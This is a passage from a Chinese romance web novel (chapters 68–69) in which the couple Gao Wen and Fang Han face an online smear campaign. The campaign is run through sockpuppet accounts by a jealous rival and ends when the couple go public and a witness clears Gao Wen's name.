方寒自然要帮忙的，他一大早就买了小笼包和豆浆去找高雯，等她吃了早餐，两人再一起走回来。 方寒如今多了个习惯，只要两人在一起，他是一定要牵着高雯的手，而且还牵得紧，她以前都不知道他这么有占有欲。 两人一起回去时，刚进客厅，就遇到了出来接水的许菲。 许菲看到两人，挑了挑眉，说不上都诧异，还出口调侃方寒：“哟，这是追上你家亲亲学妹了？表白成功了？” 高雯笑意绵绵依偎在方寒身边：“是我告白成功了。” “我才不信呢，”许菲切了一声，对高雯道，“方寒他是蓄谋已久，是个人都能看出来他喜欢你，他脑门上就写着几个大字：我、喜、欢、高、雯！” 高雯笑得不行，方寒却并未反驳，只是把高雯的手握得更紧，嘴角还有极其浅淡的一抹笑。 别人想怎么说就怎么说，只要她在他身边，他现在无所谓。 方寒准备好了纸箱，高雯把自己需要用的东西整理出来，他再打包。 高雯原以为没多少东西，整理着，已经打包了三大箱，感觉还有一大堆。 她有些累了，看着堆满东西的地面：“我买了这么多东西吗？” “看样子是的。”方寒回。 高雯扶额：“我那段时间很忙，怎么还是买了这么多东西？” 方寒出去倒了杯水，端进来给她：“累了就休息一会，不着急。” “呼——”高雯捧着水杯，坐在床上。 方寒又拿来一个纸箱，打开之后往里收拾。 高雯看着方寒将她的小物件一点点整齐摆在纸箱里，不留一点缝隙，她忍不住道：“你是收纳专家吗？” 方寒深邃明亮的眸子看向她，话语迟疑：“收纳专家？” “对啊，就是专门收纳整理衣物的专家。”高雯点头，“这个词是我发明的。” 方寒低低笑出声，埋头继续整理。 高雯看着蹲在地上，给她整理衣物的方寒，突然轻声出口：“我之前做了一个梦。” “什么梦？”他随口接话。 “一个噩梦。” 高雯话音未落，方寒停住动作，拧眉抬头。 “那个梦特别真实，在梦里，我是恶毒炮灰女配，你是倒霉深情的男配，我有我要走的剧情，就是疯狂作死促进男女主感情升温，而你，就是被我伤害最深的另一个炮灰。”高雯平静诉说着这个在别人看来很离奇的事情，“太真实了，以至于我一直心有余悸，总感觉一切都是那么不真实。” 方寒缓缓站起身，坐在她身边，拉过她的手，看着她：“你是觉得，我可能也有自己要走的剧情，对你的感情可能也是既定剧情？” “倒也不是，”高雯不知道怎么说，她垂着眸，“那个梦太真实了，不过也有点改变，我现在都快忘了。” “雯雯，” “嗯？” 方寒温声道：“我是我自己，我有我的思想和感情，我对你的感情，是我个人意愿，无关其他，你对我的感情，难道也是既定剧情吗？” “不是啊。”高雯否认。 “所以，我们是我们自己，和别人无关，别人也影响不了我们。”方寒说完又郑重道，“你的出现对我来说，是一个惊喜和意外。我从未想过，在这个世界上，还存在这么一个人，能让我欢喜激动，幸福又牵挂。” 让他相信，这个世界上有爱情。 方寒的话，总有一股安心的力量，高雯侧身看着他，纤细的手臂抬起来，主动抱上他的脖颈。 他真的特别特别好，让她觉得，多了一股对抗世界的力量。 高雯的东西实在太多，一个上午肯定是收拾不完了。 她决定躺一会。 高雯的床很久没睡了。 她皮肤敏感，怕过敏，沙发躺着不舒服，她就去了方寒的房间。 一进入他的房间，风格和之前的一样，只不过飘窗上多了不少干花。 “哪来那么多干花啊？”高雯走到床边。 方寒给她掀开被子，接话道：“你给的。” “我？”高雯上了床，突然想了起来，“我给你的花，你都做成干花了？” 她之前经常买花，不仅会给方寒和许菲，还会放在客厅摆着。 花枯萎了，就丢掉。 “嗯。”方寒给她盖好被子。 高雯没想到方寒舍不得丢，全都做成干花，她笑意盈盈昂头望着他，“做成干花多费劲啊，大不了我经常送你花好了。” “那是我要做的事情。”方寒拍了拍枕头，“睡下来吧，你可以眯一会。” 高雯睡下，她看到方寒站起身，出口问，“你要去哪？” “想给你做饭，你想吃什么？”方寒坐在床边问。 “你去做饭，我睡觉，会不会不好？”高雯把被子往上拉了拉，露出一双眼睛。 他的被子有他身上的气息，清爽好闻。 “不会啊，你好好休息，做好了我叫你。”方寒含笑说完，拉起高雯的手，也往被子里放，“我还要去趟超市，外面太冷了，你就在家。” “今天能收拾完的话，明天我再让师傅搬过去，你明天应该会忙，这些事情我来处理。” 高雯眉眼弯成一轮月牙，轻轻点头：“好。” “等你收拾的时候，需要我帮忙，我就过去。”方寒又说。 “那么多东西。”高雯想到好几箱，公寓里还有一些没收拾的，她在被子里翻腾了几下，拧着眉看向方寒，拖着声音，“我有那么一点点后悔搬走了。” “那边更宽敞，也更自由，你住得更舒心，客厅还大。”方寒伸手摸了摸她的头顶，出声安慰她，“这边的书房空着，许菲过两个月也要搬走了，也不知道会住进来什么人，所以你不能长久住。你一个人住一套公寓安全又方便。” “也是。”高雯瞬间又被安抚好。 “睡吧。” 方寒出门前，把门关了。 高雯没舍得睡，她坐起来，再一次环视方寒的房间，她盯着那些干花看了很久，笑意不减。 随后，她又在床头柜上发现几盒巧克力，看着很眼熟。 这不是她之前从瑜伽馆带回来的吗？ 方寒没舍得吃啊？ 高雯还没来得及感慨，又发现放在床头的几本书：《摄影基础教程》《人像摄影常见摆设姿势》《摄影美学》《摄影构图》 她翻开一看，还有密密麻麻的笔记。 高雯想到了上次去爬山，方寒突飞猛进的拍照技术，原来是偷偷恶补了。 她扑哧一笑，再也没了想睡的困意。 高雯翻看了好一会，又躺在方寒被子里，贪恋他身上的味道。 最后磨磨蹭蹭起来，往外走。 方寒去超市回来了，正在厨房处理食材。 她放慢动静，悄悄走过去。 方寒沉浸在认真做饭中，完全没注意到高雯进来了。 她站在他的身后，双手一抬，从背后抱住他，把脸贴在他的背上。 方寒动作瞬间定住，他的手上全是油，又不能回抱她，声线温柔问：“睡不着吗？” “嗯，想和你一起做饭。”高雯点头。 “刚开始，可能需要的时间比较久。”方寒说。 “没关系啊。” 方寒做饭的时候，高雯就在旁边，她总想帮点忙。 高雯刚要上前，他心立刻提起来，怕她碰到刀，又怕她被刺到或割伤。 “我来。” “我来吧。” “这个你不会的。” 方寒不断开口，最后削了个苹果给高雯，对她道：“你就在一旁陪着我就很好了。” “真的吗？”高雯黑白分明的眸子望着她。 “嗯，一个人做饭有些无趣，有人陪着就好很多。”方寒把这个说得很重要。 高雯为找到自己的价值而高兴，“好的！” 方寒的嘴角也随即扬起。 他每做好一个菜，都要让高雯尝一尝。 “小心烫。”方寒夹起一个肉丸子，轻轻吹了好几下，这才喂给高雯。 高雯尝了之后，眼底一亮：“好吃诶。” 方寒看着她柳眉弯弯的模样，眼底泛起宠溺的光，没忍住又给她喂了一个。 小两口在厨房腻腻歪歪，都快布满粉色泡泡了，就连许菲回来两人都不知道，她听到厨房传来的声音，都不好意思当电灯泡，笑着悄悄又出去了。 * 高雯那好几箱东西，断断续续整理两天。 她都感觉自己是去蹭饭，因为每一次方寒都给她做好吃的。 既然是男女朋友，自然不必客气。 方寒不仅给高雯做饭，还给她剥各种水果，偶尔还有甜品投喂。 胡虹每天早上会给高雯带点早餐，亦或是一些补品汤，晚上的时候，就是方寒投喂。 将东西全搬来小公寓后，方寒又来陪高雯断断续续收拾了一个星期，他还是自带水果和食材上门做饭，两人晚上会一起吃饭，方寒还负责洗碗收拾。 期间帮高雯打扫屋子，拼装各种柜子和桌子。 两人简直是比之前合租的时候还要腻歪。 外面太冷了，也没什么地方好约会的。 高雯从网上买了一个投影仪和幕布，方寒今天刚帮高雯安装好。 她迫不及待想要试试：“我要找部电影看一下。” “好。”方寒点头。 “你陪我一起看完再回去。”高雯说。 “嗯。”方寒也不想那么早离开。 高雯找了部好评的爱情片播放，她拿着抱枕坐在沙发上，看着方寒，“你把灯关了，快过来啊。” 方寒把灯一关，四周瞬间黑暗，投影仪也正好黑下来进入正片，高雯克制住慌张唤了声：“方寒。” “我在。”方寒坐在高雯旁边，伸手去牵她的手。 投影仪也亮了，响起声音，进入正片。 高雯把手缩回来，搂着抱枕，靠在方寒怀里。 他伸手环住她。 高雯自己在家时，还是习惯把灯开到最亮，不过，方寒在的话，她能接受关掉灯看投影仪，这算是一个好事。 她津津有味看着电影，时不时还被逗笑。 电影中的男女主，由欢喜冤家，一起经历重重困难，最后在一起了，他们深情拥抱对方，吻得难舍难分。 投影仪就在沙发旁侧，连声音都听得清清楚楚。 高雯听得都羞涩了，她昂头，见方寒一直看着她。 从一开始，高雯的注意力在电影上，而他的注意力一直都在她身上，被她的一颦一笑牵动着。 电影里亲热还在继续，气氛暧昧，两人视线相对，像是被一股无形的电流牵引着，离得越来越近，方寒的身子一点点靠近，望着她的目光无比炽热。 高雯微微闭上眼，双手慢慢抱上他的腰，揪住他的衣角。 方寒的薄唇覆上她娇嫩红润的唇瓣，蜻蜓点水般亲了一下，很快移开，望着她的眸子带着痴迷和缱绻。 他的眼神太温柔，让高雯都觉得自己被捧在手心珍视。 * 过完年后，语禾瑜伽馆就开了几期维密瘦身课，高雯接了几期。 不少人回家过年的时候，胡吃海喝，胖了不少。 就连张妮，都苦着脸报了一期，她哀号道：“怎么就胖了六斤呢？我怎么就胖了？！” 高雯正在写会员资料，她笑着接话：“过年时吃的酸甜麻辣，只有你自己知道。” 话音未落，张妮心虚看向高雯，神色讪讪假笑，她从前台拎出一个保温瓶，转移话题道：“这是胡阿姨刚刚送来给你的。” “谢谢。”高雯笑着接过来。 “今天不知道有什么好吃的。”张妮话语羡慕，“虽然我婆婆也挺好，但她不会做饭！我都换了好几个阿姨了，都不符合我的口味！” “你要不要吃一点？”高雯问。 “我要减肥！”张妮看着高雯，“要是我有你这么瘦，我肯定能吃很多好吃的！” 高雯很克制只吃了半碗，连肉都没多吃。 方寒今天要给她送饭，她都拒绝了。 高雯回到教室，看到角落放了一个馆里采购的新称，她站了上去。 一站上去，看清体重后，高雯美眸睁大，她走下来，再一次上去。 体重不变。 高雯脸色崩掉，顿时感觉天塌了，她急匆匆走到一边，给方寒打去电话。 方寒正和顾书杰在说话，看到高雯打了电话，他没理会顾书杰，拿着电话往外走。 顾书杰的声音从后面传来：“谁的电话啊？你这段时间怎么又一副春心荡漾的样子？” 方寒没理会顾书杰。 顾书杰啃着汉堡，拿出手机跟张妮告状：“老婆，方寒有情况，我怎么感觉他谈恋爱了？” “没有吧？”张妮不太信。 “天天笑得跟朵花似的，看着怪渗人。” 张妮：“？？？” 还有这事？ 楼梯间。 方寒快速整理一下仪容，清了清嗓子，然后才接听高雯的视频电话。 “方寒！” 电话一接通，高雯就喊了一声。 “怎么了？”方寒以为发生了事情，剑眉紧蹙，“不着急，你慢慢说。” “我涨了三斤！”高雯说的时候，还是控制不了激动的情绪，“整整三斤。” 大美女短短不到半个月，就胖了三斤。 天啊。 让她怎么面对？！ “没有吧？”方寒安慰她，“是不是称不准？” “不是，我换了另一个称，也是这样的。”高雯假哭两声，“怎么办怎么办？要怎么办？” “一点都看不出来，真的。” “完了完了完了。”高雯难以接受，垮着脸，“涨了三斤，我要怎么办？你肯定是在喂猪！” 第68章 第68章 鉴于方寒不到半个月让高雯胖…… 鉴于方寒不到半个月让高雯胖了三斤, 她决定起码一个月不吃他做的饭菜。 就连他做的减脂餐，高雯都要秉持怀疑态度了。 对高雯来说，整整三斤, 多可怕的数字。 她现在下班得多锻炼起码一个小时, 都多开了两期维密瘦身课，和学员一起减脂。 本来仅有的那点约会时间, 也泡汤了。 方寒对这件事进行深刻反省，买了很多营养学食谱书，准备进修厨艺。 胡虹从张妮口中听到方寒可能谈恋爱的消息后, 并未有太多吃惊，她冷哼一声：“我这段时间也看出他不一样了！” “您都看出来了？真有这回事啊？”张妮吃惊。 “可不是, ”胡虹说完道，“我最近给他打电话, 他每次都笑得眼睛都快没了, 心情看起来很好, 春心泛滥！” “对对对，他在公司也这样。”张妮疯狂点头。 两人正说着悄悄话, 高雯从大教室下课走出来, 她和张妮她们匆匆打招呼，又去了楼上的小教室。 胡虹看着高雯纤细的背影：“算了, 管那个臭小子做什么, 幸好雯雯没看上他，雯雯多勤奋上进啊，不像他, 一谈恋爱，就丢了魂。” “沉迷情情爱爱，怎么干大事？” “阿姨, 您这么说方工，他知道吗？”张妮忍笑。 “这是事实，再说了，他不是说喜欢雯雯吗？这么快移情别恋，以后不能说他是我儿子！”胡虹说完还点头，提醒自己，“对，在雯雯面前绝对不能说！” 方寒和高雯谈恋爱后，就没人在两人面前提起对方。 大家默认方寒有了新欢，至于是谁，大家并不八卦，反正肯定没高雯好，只能说方寒目光下降了。 方寒并不知道众人在背后对他蛐蛐，只要不明说，他都察觉不到。 因为他最近每天心情都是满分，除了工作，就是高雯。 方寒一想起她心情都是一百分，对这个世界都热爱了，空气都变甜了。 高雯下班后自我锻炼的时间，方寒也会去健身房，她那么注重身材管理，他当然也要严格要求自己。 方寒健身结束后，就会来到瑜伽馆等高雯。 这时候，馆里都没人了。 方寒默默坐在休息区，看着其中一间关门的教室，灯光透过门缝亮出来，他在等她的过程中，都会情不自禁翘起嘴角。 过了半个小时，高雯开门走出来。 她看到外面的方寒，笑道：“你什么时候来的？怎么没叫我？” “没来多久。”方寒起身，拿过一旁的保温杯，旋开之后递给她。 “什么水？”高雯警惕问，“是不是甜啊？” “不甜，”方寒笑了，“银耳莲子麦冬水，喝了皮肤湿润。” “真的？”高雯语气迟疑，但有点相信他。 “嗯。”方寒看着她红润微湿的脸颊，抬手帮她轻轻擦了擦额头的细汗，喂到她嘴边，“你要赶紧把衣服换了，小心受凉。” “嗯。”高雯喝了几口，果然没味，显得不那么好喝。 但方寒说滋润皮肤，她就忍着又多喝了两口。 等高雯换了衣服出来，方寒帮她把羽绒服的帽子戴上，又把衣服往上拉了点，这才放心牵她出门。 两人走到路边的时候，看到了一辆熟悉的奔驰。 林珩就站在车边，他下班后，不知不觉开到了这里，心底里是希望偶遇高雯。 他是没料到会遇到高雯和方寒，看到两人手牵着手出现时，神色怔了怔。 林珩和高雯表白的时候，没太想过她会拒绝，毕竟，高雯为了救他，这么勇敢舍命，对他肯定是有些好感的。 他的确有些唐突，但高雯跑到方寒身旁，两人相拥在一起，的确令他没想到。 尽管如此，林珩仍然不相信两人在一起，方寒能追到高雯，早就追到了，估计是高雯拒绝他的一个手段。 这下，林珩不相信也得相信。 两人那副腻腻歪歪样，周围就差没冒气粉泡泡了。 方寒看到林珩时，将高雯的手牵得更紧，将自己身边带，他与林珩视线对上时，没了在顾书杰家见面那一次的平和，眼底都是占有欲。 甚至，方寒停住了脚步，带着高雯走向另一个方向，都没和林珩打照面。 林珩沉了脸。 偏生，他现在连和方寒竞争的资格都没有，高雯已经作出选择，她救他，难道就只是单纯救人一命？没有半点其他意思？ 林珩刚上车，电话响起来。 林母在那边焦头烂额道：“你快去看看舒妍吧，她已经两天没吃东西了，再这样下去，身体受不了。” 林珩太阳穴嗡嗡嗡疼，强压住内心的火气：“我知道了。” 姜舒妍现在是隔三岔五上演一场自杀戏码，谁都得哄着她，生怕她就这么自杀了，没人担得起责任。 “哎，这叫什么事啊。”林母摇头。 另一头。 高雯侧着身子，盯着方寒在看，见他板着脸，笑着道：“你的表情怎么那么严肃？” “有吗？”方寒回。 “有啊。”高雯抬起食指，戳了戳方寒的剑眉，“眉头都拧着呢，快快松开。” 方寒眉头松了松，又不自觉拧紧。 高雯笑了：“你这是干什么呢？” 方寒没说话，带着她的手，往自己口袋里放。 “你吃醋啦？”高雯靠近方寒，笑吟吟说。 她原以为方寒会否认，再装出一副不在意的样子，给自己找个理由，万万没想到，他直接应了声，“嗯。” 高雯诧异。 方寒看向她：“喜欢你的人太多，我会自己调节。” 这个林珩，只是比较让他觉得有危机感而已。 “你不用调节啊，我很专一的。”高雯另一只手挽着方寒的手臂，话语清晰酥软道，“我选择的人，是经过慎重考虑做出的决定，我们要一起走很远很远。” 方寒停下脚步，与高雯面对面，垂眸看着她，眸光里带着柔意，挑着眼尾笑了，哪还有刚刚情绪不佳的样子，明显被她哄成胚胎。 “方寒，你是这个世界上，对我最好的人。”高雯认真说。 高雯说这话的时候，方寒甚至觉得自己对她还不够好，要很好很好，竭尽所能不断提升，努力让她过她想过的生活。 * 当晚。 高雯睡得比较早。 方寒将她送回家后，她洗了个澡，护肤的时候就直播了十分钟，眼皮子就在打架，早早下播睡了。 熟睡中的高雯并不知道，她又上热搜了。 一个博主突然又翻出高雯年前在车祸现场救林珩的图，还配了一张林珩手捧鲜花，高雯站在他面前的照片。 网上一下炸开锅： “靠靠靠，这两人真的在一起了？” “啊哈哈哈，从车祸现场救回自己的男朋友？” “当时有网友说，这男的长得还不赖，说不定会在一起，没想到真的在一起了。” “天注定的姻缘啊，简直是上天的安排。” 大批网友纷纷留言，跑到高雯视频下祝福，一个劲儿强调是上天赐予的姻缘，还隔空喊话，让林珩珍惜高雯，他的命都是她给的。 大家都没想到这件事还有后续，吃瓜吃得津津有味，对于两人“在一起”这件事，乐见其成。 方寒自然也看到了，他当然黑了脸，不能忍。 但高雯已经睡了，他不能在没征求她的意见下，贸然做一些决定，因为她现在算是公众人物，会影响到她。 不仅方寒看到这些评论会恼火，就连张妮，看到后都愤愤不平，不断举报和解释。 胡虹半夜不睡，拿着她的手机，气呼呼写着评论：【雯雯单身，没在一起。】、【她没有谈恋爱】、【她是个好孩子，一直都努力工作，我每天都去找她上课】、【她没时间恋爱】 胡虹一大把年纪，还在网上和年轻人对线解释。 方宏铭困得不行，对她道：“快睡吧。” “不行，不能让他们冤枉雯雯，我一想到就睡不着，她是多好的孩子啊，根本没有谈恋爱，这会影响她在网上的名气！”胡虹为了高雯，还专门关注了这方面，“那些明星因为谈恋爱，人气就下降了。” 胡虹刚说完，又有人不断评论她，一定要说高雯谈恋爱了，还说林珩开着奔驰，家境肯定不错，说不定是攀高枝。 她气得不行，一个字一个字打：【你有证据吗？你这是冤枉一个好孩子，我最了解她了。】 就在胡虹准备和这些网友大战到天亮时，一个匿名网友甩出一张图，让胡虹目瞪口呆，浑身的火气都像被一盆冷水直接一浇。 火星子都没了。 “怎么了？”方宏铭察觉到她情绪不对劲，坐起身子。 “他他他，方寒他——”胡虹指着手机，不断睁大眼看着方宏铭。 “方寒？”方宏铭拿过手机一看，照片上，方寒正牵着高雯的手，两人应该是在逛超市，表情十分甜蜜。 对此，方宏铭也大惊，“他们两个人，什么时候谈上了？” 这张照片，宛如一颗炸弹，让原本就有热度的话题，像是坐了火箭。 林珩捧着玫瑰花，在和高雯表白。 而高雯，好像是有男朋友的。 那么，是不是说明，高雯看到林珩很有钱，所以高雯舍弃了原来的男朋友，答应了林珩？ 原本是一场令人佩服的救人行为，在某些网友的恶意揣测下，还真把节奏带起来了： 【高雯不是本地人吧？那人开的可是奔驰，本地车牌，肯定有钱，说不定见是奔驰车才放手一搏，成功了之后，肯定是甩了原本的男朋友啊。】 【两人一起去买菜，肯定是同居了，这叫先斩意中人！这女的心也太狠了！】 【突然对她印象很差，看着和自己男朋友感情那么好，转身就投入别人的怀抱了。】 【感觉这一场营救变质了，我原本还想两人在一起，现在觉得她配不上任何一个。希望她男朋友也好好清醒，认清她真面目。】 尽管有人保持中立，也有人替高雯说话，但恶意的声音也不少。 这个时候，突然出现一个长长的帖子，号称所谓知情人：【林珩是有未婚妻的，因为高雯的插足，两人婚约解除了，她才是这件事最大的受害者！这段时间，她几次想要自杀，身为朋友，实在看不过眼！】 因为这个信息，网友又得出结论：高雯救了林珩，见林珩是有钱，高雯就抛弃自己的男朋友去抢夺林珩，导致林珩和他未婚妻解除婚约。高雯是小三！ 深夜，又隔着网线，大家都在网络上随意释放自己的戾气，反正又不需要付出什么代价。 不少人还真觉得高雯是小三，甚至有人说高雯的人设全是营销，恨不得一句话就否定她的所有，最好能把她狠狠钉在耻辱柱上。 胡虹哪还坐得住，她一个电话就打给方寒。 方寒也没睡。 他正在爬网线。 胡虹质问道：“你和雯雯，是不是在谈恋爱？” “嗯。”方寒没否认。 “方寒啊方寒，你怎么当男朋友的？你太失职了！你是没打算让雯雯见光吗？”胡虹教训说着，自己都哽咽了，“你看看，看看你办的事儿！大家现在都怎么说她的！太可恶了，这些人太过分了！” 对于胡虹的指责，方寒没有半点推脱。 让高雯被这么谩骂，的确是他的责任，他应该保护她的。 高雯这小半年太火，她起号顺利，课程卖得火，赚得多，惹来不少妒忌，其中，不乏同行，瞧见她落水了，背地里想要踩上一脚的人多了去。 高雯醒来时，方寒举报不少号，也顺着网线查了一些。 他不确定她想要怎么做，要不要曝光两人的关系，所以不敢贸然行动。 高雯听着方寒在那一头说话，他强调道：“有几个号我查到是同一个人发的，说你破坏姜舒妍和林珩的订婚，那个IP地址，就在姜传文名下的房子里。” “那就是姜舒妍自己了。”高雯不怒反笑。 剧情又偏了，这对于高雯来说，她觉得是好事。 “姜舒妍自己发的？”方寒还是不能理解，“他们不订婚，关你什么事？” “我不知道，也不关心。”高雯问他，“你昨晚是没睡吗？” “有睡一小会。”方寒撒谎。 “你的黑眼圈那么重，我估计是熬了一夜吧？快去睡吧，我会处理。”高雯说。 方寒语气担忧：“需要我做些什么吗？” “你介意因为我出现在众人视野里吗？”高雯问。 方寒毫不犹豫道：“不介意。” “我知道了，”高雯话语轻柔，“你快去睡吧，很好解决的。” 她说得轻描淡写，方寒挂掉电话后，看着越来越高的热度，实在是放不下心。 他哪睡 得下，穿上衣服就去她家找她了。 方寒敲门时，高雯刚洗漱好，还给自己冲了一杯米糊。 胡虹知道她发生了事情，很贴心取消了上午的课，估计是想让她多睡会。 “你怎么来了？”高雯看着气息有些急促的方寒，笑着问。 “给你带了早餐。”方寒在半路上买了小笼包，还有一杯现磨无糖黑芝麻豆浆。 高雯笑：“我都冲好米糊了。” “我吃。”方寒说。 两人在餐桌前坐下，方寒拿过高雯那碗米糊，给她吃小笼包和黑芝麻豆浆。 “这个米糊没味道的哦。”高雯说。 “没关系。”方寒现在哪有什么胃口，他小心翼翼观察着高雯的神色。 高雯怎么可能没发现他的动静，她拿起一个小笼包，笑着喂到方寒嘴边：“吃一个。” “你吃。” “我哪吃得了这么多。”高雯这么说，他才张了口，神色有些不自然。 高雯自己也夹了一个，语气慢悠悠道：“没事的，我已经解决了。” “怎么解决？”方寒追问。 那么多网友的质疑，还有人骂她恶意揣测她，这么短的时间内，她怎么解决？ 高雯没说话，默默地享受她的早餐，还评价道：“这家小笼包真不错，好吃。” 方寒拿出手机，在短视频热搜上又看到高雯了。 标题还很醒目：高雯男朋友 方寒点进去看，高雯发了一个视频，还置顶了。 他下意识赶紧把音量关住。 视频里，率先出现两只牵在一起的手，紧接着，出现的是方寒自己的脸，画面再一转，出现高雯自己的脸，她靠在他怀里，笑得明媚动人，脸上带了些小女人的娇俏。 视频配文：从始至终，唯一的男朋友。 评论里，对于网友提出同居的事情，高雯甩出几张图片，画面里，是在厨房忙活的方寒，她评论道：【没同居，但男朋友会上门投喂，比较温柔体贴。】 方寒长得相貌清秀，气质温文尔雅，这样的男人，在厨房专心做饭的时候，魅力直接爆表。 网友是多么神通广大，分分钟就能把方寒的信息扒出来：方寒，A大硕士毕业，高材生，毕业的时候年薪就不菲。 这段话的含金量，不言而喻。 不过，他们转念一想，高雯也是A大的，还是大网红，这两人很配。 高雯找到了所谓“知情人”的评论，她一点都没惯着，直接就在下面评论：【我希望你保留着这条评论，林珩最好也能来当面和你解释。麻烦你转告你的“朋友”：我对他们的事情没半点兴趣，救人之前不知道是他，也不知道会惹祸上身。】 高雯直接公布男朋友，回复评论的时候底气十足，粉丝腰杆子都硬了，怼黑粉怼得格外来劲儿：【救人救出祸端来了，还不如不救了。】 那条评论中的“朋友”打了双引号，姜舒妍看到的时候，心下一惊，总觉得高雯在暗指什么，她很是心虚，再三犹豫后，她火速开始删评论。 评论虽然删除了，但是眼尖的网友早就截图，这下更有话题。 黑粉和某些键盘侠气势越来越弱，只有一些嘴硬的还在嘴硬胡扯。 姜舒妍昨天一夜没睡，都在引导评论，发了实在太多，她这边还没全删完，就看到林珩用自己的视频号，在高雯的视频下评论了：【抱歉，是我单方面追求，高雯明确拒绝。我和姜舒妍的订婚早就取消，纯属无意愿，和这件事无关。】 这下，黑粉彻底闭嘴了。 林珩这一波操作，直接把姜舒妍暴露了，她好歹算个小网红，还有二十几万粉丝。 她的号很快就被网友扒出来了。 比起高雯每天发自律锻炼的视频，姜舒妍的视频就不太有营养了，置顶的三个视频，其中有两个都是一间小四合院，她也特别享受别人叫她“大小姐”，以前的视频或多或少都是炫富，这也是起号最快的方式。 最近的视频，都是推荐一些化妆品。 不少网友立刻评论道： 【这个博主人品不行，每次都推一些小作坊的护肤品或者化妆品，投诉无门，买来丢垃圾桶，我唯一拉黑的博主。】 【无语，原来是她，我对她真没好感。】 【什么时候能退款！！！】 【她带的货，差得要命，佣金很高，为了赚钱脸都不要了，真怀疑她家真那么有钱吗？】 评论少的时候，姜舒妍还能压一压，删评控评，现在直接涌入大量网友，一听说她卖三无产品，还有网友用烂脸，大家的战斗力可想而知。 甚至有人道：【林珩和她解除婚约，我看也是有原因的吧？关高雯什么事？我怎么感觉是她在引导评论？】 也就是这句话，姜舒妍还真被人扒出来了。 非常尴尬，还真是她用了好几个号，来来回回评论又自顾自引导网友。 直接闹了一场大笑话。 高雯对于之后的事情，倒不关心了。 她现在需要应对的是别的事情。 张妮和胡虹知道高雯和方寒谈恋爱后，高雯一到店里，两人的目光，那叫一个意味深长。 “方工可以啊，我还以为他这段时间怎么那么春心荡漾呢，原来是抱得美人归了。”张妮捂嘴笑，“不错不错，开窍了。” 胡虹看到高雯时，眼都亮了，她拉着高雯的手，脸上堆着笑：“方寒对你好吗？他要是对你不好，你和我说，我肯定饶不了他！” “我跟你说，他这人也不是那么好相处的，总做什么事情都淡淡的，也不知道会不会心疼人。” “他很好。”高雯说。 “那他有给你钱花吗？”胡虹又问。 高雯：“啊？” 为什么要给她钱花？她有钱，够花了。 胡虹一看，沉下脸：“他那么有钱，为什么不给你钱花？他不会没告诉你他有钱吧？” “我们不聊这个。”高雯解释。 “吝啬鬼！小气包！”胡虹重重哼了哼，“四个老人给他留了那么多钱和房子，就是为了让他娶媳妇的，他怎么自己藏着掖着？” 她说完，难以置信拔高声调道：“他一年收租都收两三百万，他真不给你一点钱花啊？” 第69章 第69章 我的不就是你的吗？ 胡虹的话, 让不远处的张妮都倒吸一口气。 方寒一年收租两三百万？！ 这么有钱的？ 高雯的确是不知道这事，她还没细想，胡虹就拉着她的手满是慈爱来一句：“没关系, 方寒不给你钱, 妈妈给你，妈妈也有一点点钱。” 胡虹无比娴熟自称妈妈, 还要给钱，把高雯吓得脸颊滚烫，赶紧去楼上上课。 张妮觉得无比震惊：“方工可是从来没说过这事, 他也太低调了。” “他爸说他是什么实用主义，我看啊, 就是小气包，”胡虹掰着手指细数, “他从小跟着四位老人长大, 都把他当成宝, 所有的遗产，全都是他的, 我和他爸都不知道具体数额, 我知道的肯定只多不少！” “他居然不给雯雯一点钱花？那么多钱，他要留着干嘛？简直是太过分了！” 这下, 不仅语禾瑜伽馆的人知道方寒有钱, 顾书杰都知道方寒身价不菲。 顾书杰来到方寒身边，拍了拍他的肩膀：“我说呢，你小子干活不温不火, 原来是隐藏富二代啊，装穷这么久，今天得出点血。” “什么装穷？”方寒疑惑。 顾书杰把胡虹说的话一说, 他的手搭上方寒肩膀：“你小子，到底有多少资产？” 方寒无语：“别听我妈胡说。” “胡说？”顾书杰表示怀疑，“你一年收租到底有多少钱？” “不知道，”方寒面不改色写代码，“没那么夸张，具体的我也不是很清楚。” 顾书杰瞪大眼：“房子和遗产都多到你不清楚了？” 他非得让方寒出点血不可，必须请全公司的人吃汉堡可乐咖啡！ 当天下午，一波又起。 原因是自从林珩发声后，姜舒妍就被卷入这一轮的网暴中。 她明明和林珩早就解除婚约，却开小号引导网友认为高雯是小三，被扒出来后疯狂删评，而且在自己的视频号上卖了不少三无产品，为了赚钱底线都不要了。 姜舒妍本身的黑粉就不少，可以说被自己反噬了。 她自己承受不住这么大的网暴，只能再一次将高雯拉下水。 高雯刚下完课，林思悦就连忙来找她了，语气着急：“雯雯姐，你快去网上看看吧。” “怎么了？”高雯说着，拿出手机登上社交平台。 姜舒妍正面与高雯杠上了。 她发了一条视频，流着泪控诉宋洁以未婚先育相要挟，厚颜无耻住进了姜母和姜传文的婚房。 姜舒妍说自己只能搬出来，宋洁抢了她的爸爸，就连林珩也喜欢高雯。 视频最后，姜舒妍不断逼问，说宋洁和高雯这对母女抢走了她最重要的两个人，那么她又做错了什么？ 高雯看着热度不断飙升的视频，不少人都开始同情姜舒妍，据说宋洁在和姜传文未婚先育的时候，姜传文也有另一个女朋友，宋洁就是小三。 姜舒妍的控诉是假，想要趁机爆出宋洁和高雯的关系是真。 宋洁是小三，这件事是实锤，网上也有不少人证实了，就连林思悦都知道。 高雯看着姜舒妍上传的视频，红唇抿着，沉了脸。 这时，她的电话响了起来。 高雯走到一边接。 电话一通，宋洁歇斯底里的怒骂声就从那边传来：“高雯，你要把我害到什么地步？你到底要做什么？你为什么针对舒妍？你让我怎么在姜家生活下去？” “你是不是要把我逼死你才开心？当初我就不应该生你，我就该把你掐死，你和你爸都不是好东西！我知道你是存心勾引林珩，我还不清楚你的心思吗？你以为这样就能攀上枝头？你就做梦吧！” 高雯闭了眼，她掐断电话前，宋洁骂声还在继续：“我从小就知道你不是好东西，谁能看上你？！” 宋洁被爆出来是小三，黑粉卷土从来，又想把小三的名声往高雯身上靠。 小三的母亲生出小三的女儿，也不是没可能。 高雯什么话都没说，继续回教室上课。 林思悦看着高雯的背影，察觉到她的悲伤和克制，想要张口安慰，却不知道要说些什么。 她走到一边，给姜舒妍打电话。 自担保的事情暴雷后，林思悦就没联系过姜舒妍。 接到林思悦的电话，姜舒妍还是很欢喜。 林思悦生气道：“你不要在网上欺负雯雯姐了，收手吧，不要再闹了。” “那个宋洁不是什么好东西，她一直想生个儿子来抢走属于我的东西，这件事，你不是也知道吗？”姜舒妍情绪有些失控，“这件事不是我的错，你不是一直站在我这边吗？” “可，这件事和雯雯姐没关系。”林思悦愤愤不平。 